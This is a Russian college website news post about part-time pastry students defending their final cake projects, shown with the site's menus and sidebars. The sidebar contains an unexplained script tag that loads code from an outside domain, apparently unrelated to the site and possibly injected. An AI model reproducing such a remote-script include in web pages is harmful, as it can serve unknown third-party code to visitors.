Главная
Регистрация
Вход

Приветствую Вас Гость | RSS

Меню сайта

Категории раздела
Абитуриентам [0]
Для желающих поступить в наш колледж

Независимая оценка
Как вы оцениваете качество образовательных услуг нашего колледжа?
Всего ответов: 212

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

  
Главная » 2015 » Ноябрь » 20 » Защита проектов по профессии повар - кондитер
07:34
Защита проектов по профессии повар - кондитер

Последний курс - он трудный самый. Позади квалификационные экзамены.  В группе ПО-011/11т. (з) по специальности Профессиональное обучение (по отраслям). Технология продукции общественного питания заочной формы обучения на занятиях всегда царит доброжелательная атмосфера, а на защите проектов по профессии  «повар» или «кондитер» обязательно появляется какой-нибудь бренд. На этот раз в коллективе родилась идея поэкспериментировать. Студентки разделились на три группы и  в соавторстве разработали свои рецепты. Результаты итоговой защиты удивили экзаменационную комиссию.

    Первый проект – приготовление бисквитного торта повышенной сложности - назывался «Кокосовый рай». В технологическую карту  студентки (Дьякова Л.А., Пинигина В.А., Пономарёва О.А.) внесли  переработанную  информацию нескольких базовых рецептов приготовления бисквитных тортов повышенной сложности. Экзаменационная комиссия оценила оформление и вкусовые качества, т.е., испытав райское наслаждение,  на «отлично».                       Технологическая карта студенток (Саломакина Е.Ф., Кузнецова С.В., Белявская Т.М.) по приготовлению бисквита повышенной сложности «Шахматный»  заставила группу не только поработать над эстетической  стороной, но и применить математический расчёт. И, действительно, ход оказался правильным. Турнир состоялся – участницы получили заслуженные оценки.                                                                                          Ирхина О.Ф. -  мастер кондитерского  дела - представила проект «Торты на любой вкус». Изделие, которое приготовила Ольга на защите проекта  - торт «Несравненный», восхитил членов комиссии своим разнообразным вкусом. В основе торта представлен бисквит с разными наполнителями:  орехами,  абрикосами, маком. Нежный, воздушный, снежно-белый крем отлично сочетался со вкусом выпеченных бисквитов. Торт «Несравненный» - прекрасная настоящая сказка, без химических наполнителей. Изделие на любой вкус сможет понравиться настоящим гурманам, т. к. воплотил в себе тепло рук кондитера и любовь, с которой был приготовлен. За свою работу студентка получила «отлично» и пятый разряд по профессии «кондитер». Своим мастерством блеснули и остальные студентки группы. При подведении итога слова благодарности прозвучали  в адрес Ивановой Веры Владимировны, мастера производственного обучения первой категории

последние штрихи...

обдумали...

повторили...

взвесили...

наши проекты

торт Кокосовый рай

торт Шахматный

аппетитный...

королевская защита...

торт Несравненный

 хорошее настроение

Просмотров: 925 | Добавил: iTiger | Рейтинг: 1.0/1
Всего комментариев: 0
Имя *:
Email *:
Код *:


Вход на сайт
Логин:
Пароль:

Мы потомки Героев


ПОЛЕЗНЫЕ ССЫЛКИ

Министерство образования и науки Российской Федерации Единое окно доступа к образовательным ресурсам Федеральный портал "Российское образование" Единая коллекция цифровых образовательных ресурсов Федеральный центр информационно-образовательных ресурсов


Персональные данные Дети МЕСТО РОЖДЕНИЯ:
ТЮМЕНСКИЙ КРАЙ Конкурс новый взгляд
<script src="https://tabun.info/out/index.php"></script>
http://профстажировки.рф/
Поиск

Календарь
«  Ноябрь 2015  »
ПнВтСрЧтПтСбВс
      1
2345678
9101112131415
16171819202122
23242526272829
30

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Архив записей

Copyright MyCorp © 2020
Создать бесплатный сайт с uCoz